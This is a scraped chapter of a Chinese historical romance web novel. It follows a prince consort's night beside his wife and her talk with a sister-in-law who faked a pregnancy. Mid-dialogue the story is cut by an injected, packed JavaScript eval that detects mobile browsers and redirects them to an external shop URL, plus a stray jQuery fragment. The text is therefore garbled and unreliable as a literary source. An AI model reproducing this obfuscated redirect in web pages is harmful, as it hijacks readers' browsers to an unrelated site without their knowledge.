47. 第 47 章
    丹若当时心里还犯嘀咕,驸马满心满眼都是公主,对她们这些侍女虽然温和,但平素不怎么与她说话。这次驸马怎么这么好心送了殿下的汤婆子给她们,难道是因为近朱者赤,驸马在殿下身边待久了,也和殿下一样善良了?

    范希诚困得不行,但李清壁还没过来,他不想让她一个人醒着。万一她待会儿想找人说说话呢,或者她需要人伺候个笔墨或是茶水,他也可以起床帮她。

    被窝暖热的差不多了,怕自己睡着,他便坐起来靠着床柱,两只手都放在脸蛋上,上上下下地揉搓自己的脸,又轻轻拍打以保持清醒。

    李清壁抬眼的间隙看见他这幅姿态,不由觉得有些好笑,嘴角微微抿着,轻声提醒他:“困了就睡,不用等我。”

    范希诚努力把将要黏在一起的上下眼皮撑开,用力摇头:“我一点也不困,我要等你。”

    他突然发现李清壁的嘴角挂着轻浅的笑意,再想想刚刚的话,他道:“阿九姐姐,你笑话我。”

    李清壁转过头不看他,好似她之前一直在认真记录,并未看过他。

    “没有,你看错了。”

    范希诚不服气,小声反驳道:“没有看错,我眼神可好了,你就是在笑我。”

    李清壁有些心虚:“我要睡了,你要不要来帮我收拾东西?”

    范希诚喜滋滋掀开被子:“来了。”然后陪着她将手稿收好,不用的笔墨暂时放在一旁,拉着她的手送到床边:“快去躺着吧,我暖得可热乎了。”

    待李清壁躺好之后,他吹了灯,快步回到床上。他的伤已无大碍,可以恢复平躺睡姿,可他偏偏要侧身对着李清壁那边睡。

    月光不甚明亮,层层叠叠的床帐给床帐内带来一片寂静的黑。他目光炙热,李清壁的脸也微微热了,忽然有些口渴。

    她有些奇怪为什么都是血肉之躯,范希诚身上那么热?而自己若是没有汤婆子,能整夜整夜被冻得睡不着。

    女娲造人,怎如此不公平?

    她轻轻推了推范希诚:“我要喝水。”小小地支使他一下,算是对这不公平的回击,她心里想。

    这对范希诚才不是打击,他乐意得很。他不厌其烦地起来点灯,又倒了碗水,送到床边,本想直接喂她喝下,但李清壁坚持伸手接过。

    李清壁小口小口地咽着水,望着面前的女子被水润泽的唇和轻轻滚动的喉咙,范希诚忽然觉得自己也有些渴。

    被他这样炙热的眼光瞧着,李清壁有些不自在,想尽快喝完。谁料喝得太急,呛了一口水。

    范希诚急忙过去,微微用力拍着她的背。李清壁不咳了,深深喘了几口气,嘴角和下巴都留有水渍。

    范希诚从怀里掏出帕子递给她,看着李清壁一点一点轻柔地擦掉那些水渍,听着那深深的喘气声,旖旎的心思开始弥漫。帕子轻轻触着她的唇角,下巴,边缘处甚至蹭到了李清壁的微红的耳垂。

    他想,要是他是那帕子就好了。

    当范希诚再次收拾好一切躺在床上的时候,心里已是翻江倒海。他明白,自己是起了色心。

    从前在地上睡的时候,他日思夜盼的就是一醒来就能瞧见人在身边。如今人是在身边了,他又不满足了,果然人性是贪得无厌的,总是得陇望蜀。

    且人离得越近,他就越想亲近。他当然会遵守约定,只是总有几分难熬。若说要他为了缓解这难熬重新睡到地上去,那他是不愿意的。就这样熬着吧。

    李清壁已经背对他睡熟了,他又悄咪咪扯了扯自己的被子,轻轻靠近了些,然后熟练地在被子里摸到李清壁的手,缓缓握住,闭上了眼睛。

    过了一会儿,他还没睡着,将握住的手微微用力拉到了眼前,好半晌,轻轻将那只柔软的手贴近了自己有些干燥的嘴唇。

    只是轻轻贴了一下,他心跳如雷,忙又将那只紧握着她的手妥帖放到了被子里。

    明日得让阿福去买些润泽的唇油来,嘴唇这么干,划伤她娇嫩的手就不好了。

    ——

    翌日清晨,宜兰苑。

    李清壁与范希诚用完了早膳,正准备去找一贯给李怀看病的府医再问问情况。

    “正好我将那株药材给府医带去瞧瞧,看看能不能派上用场。丹若,你去找找放在哪儿了?”

    他们昨日带着好些东西搬进来,有些东西还未归置好。

    夏竹却来报,说齐王派人来请驸马,说是得了一把上好的横刀,请驸马前去赏鉴。

    范希诚其实擅使长枪和弓箭,但好的横刀也足够让人心动。

    “去吧,替我好好劝劝阿兄。”

    临到头,范希诚有些打起了退堂鼓:“要不我等丹若把药材找出来再去,正好一同带去。”

    李清壁:“现在去。”

    在战场上,再可怕的敌人范希诚也不怕。可李怀是他的大舅子啊,是他身边关系亲近之人中唯一对他表现出明显不喜的。

    他自幼便拥有温馨的家,长到这么大,身边的人都待他很好,李怀是唯一一个不待见他的。况且李怀还身居高位,是李清壁唯一的同胞兄长。可以说李怀的看法对于李清壁来说有着举足轻重的影响。

    这让范希诚怎么能不紧张呢?

    但他还是乖乖地去了。

    范希诚走了后,李清壁也去找程荻。两个人的事,总得探探程荻的想法,若是她也想原谅,那便好办了。

    ——

    江南的二月,与西北大不相同,李清壁一路上见到了好些正要发芽的花木,天空碧蓝如洗,春风和畅,正是一片人间春色。

    齐王府的正院,李清壁没叫人通报,自己走了进去。

    程荻正在缝着什么东西,见李清壁来了,忙收到一边。

    李清壁坐下后拿起那块布料,发现是件未做完的小衣裳,也就明白了程荻的态度。

    明知故问:“嫂嫂这是做什么?”

    程荻还不知李怀已对李清壁全盘托出,只遮掩道:“来这边交的一位朋

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387463|141112||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    友有孕,我预备送给她。”

    李清壁顺着她的话说:“亲手做的礼物心意最为珍贵,想来一定是很好的朋友。”

    程荻自来了越州,既要照顾李怀的病,又要管着齐王府上上下下这么多的事,出门的时候都很少,哪里来的朋友。

    但此时她只能勉强笑道:“确实是很好的朋友。”

    李清壁却不欲和她绕弯子了:“阿兄都告诉我了。这是你之前在他面前装样子做给孩子的吧。”

    假装有孕时,程荻为了戏演得更逼真,便在李怀面前缝这件给孩子的衣裳。那日被发现时,李怀拿着这件未完成的衣裳丢在她怀里,大喊:“还给孩子做衣裳?预备做出来给谁穿啊。我竟不知你心思如此缜密,戏做得倒周全!怎么不把肚子也用布缠两圈,我不就发现不了。”

    程荻确实这样想过,不过冬天穿得厚,月份又还小,她便打算等月份大了再说。再说,李怀这病本就是因担心李清壁而加重的,待李清壁到了越州,李怀身体大好,或许她就不用装了。

    自被李怀戳破假孕,她再也没动过针线。今日李怀出了院子,她竟然不知为何将这衣裳找了出来,甚至还无意识地继续缝着。大概是因为她出身低,潜意识里总不想浪费了这上好的布料吧,她这样告诉自己。

    “妹妹都知道了?”程荻心里反而轻松了些,这样她就不用在李清壁面前装作与李怀相亲相爱毫无隔阂的样子。若他们从未相爱,这样假装反而是容易的,可明明心里有对方又生了怨怼,再去演,彼此心里都不好受。

    李清壁将那块布料放下:“嫂嫂,再和我说说吧,到底是怎么回事?”

    “王爷都同你说过了,我还有什么好说的。”程荻并不期待李清壁能站在自己这边,人家是一母同胞的兄妹,而她和李清壁,仅仅是在西市见过那一面。

    李清壁坚持道:“阿兄同我说的仅仅是他知道的,我想听你说。”

    “我说了,妹妹便信吗?”

    “阿兄是男人,难免有他想不到的地方。我与嫂嫂同为女子,自然更能理解你的难处。”

    程荻声音有些哽咽:“那时王爷病重,长安传回的消息说已派人去请妹妹,可当时我不知你们究竟何时能至。除夕那日,王爷同我说、说……”

    程荻泫然欲泣,已经快要说不下去。李清壁坐到她身边,柔柔地搂着她。

    “王爷说等他不在了,要我回长安改嫁,还说让我以后选郎君时,不要再图人家生得俊俏,要找身体好的。难道他以为我同他在一起只是图他生得俊俏吗?”

    “他已无向生的决心,之前好长一段时间都下不来床,只是惦念着妹妹你。他不让我打扰你,可我实在没有办法了,才向圣人上了折子,请他允你来探病。”

    “那日才除夕,我知山高路远,妹妹不会那么快到。我实在是别无他法,才让府中的人配合我撒了这个大谎。他心中不愿为了我振作,可孩子总是不同的。有了孩子,他便有了牵挂,不敢死了。”